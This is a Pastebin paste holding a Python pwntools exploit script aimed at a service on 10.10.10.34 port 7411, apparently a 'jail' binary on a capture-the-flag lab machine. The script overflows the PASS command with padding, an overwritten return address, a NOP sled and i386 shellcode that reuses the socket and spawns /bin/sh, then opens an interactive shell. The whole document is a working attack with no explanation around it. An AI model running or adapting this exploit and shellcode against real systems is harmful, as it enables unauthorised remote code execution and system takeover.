Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2017
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. import struct
  2. from pwn import *
  3.  
  4. HOST = "10.10.10.34"
  5. PORT = 7411
  6. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7. s.connect((HOST, PORT))
  8.  
  9. def p(x):
  10.  
  11. return struct.pack('<I', x)
  12.  
  13. context(os = 'linux', arch = 'i386')
  14.  
  15. HOST = "10.10.10.34"
  16.  
  17. print args['HOST']
  18.  
  19. if HOST != "":
  20.  
  21. r = remote(HOST, PORT)
  22.  
  23. else:
  24.  
  25. r = process('./jail')
  26.  
  27.  
  28.  
  29. r.recvuntil('OK Ready. Send USER command.\n')
  30.  
  31. r.sendline('USER admin\n')
  32.  
  33. padding = "A"*28
  34.  
  35. eip = pack(0x804910f)
  36.  
  37. shellcode = (
  38. "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
  39. "\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
  40. "\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
  41. "\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
  42. "\x89\xe3\x31\xc9\xcd\x80")
  43.  
  44. nops = "\x90"*42
  45. r.sendline("PASS " + padding + eip + nops + shellcode + "\n")
  46.  
  47. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement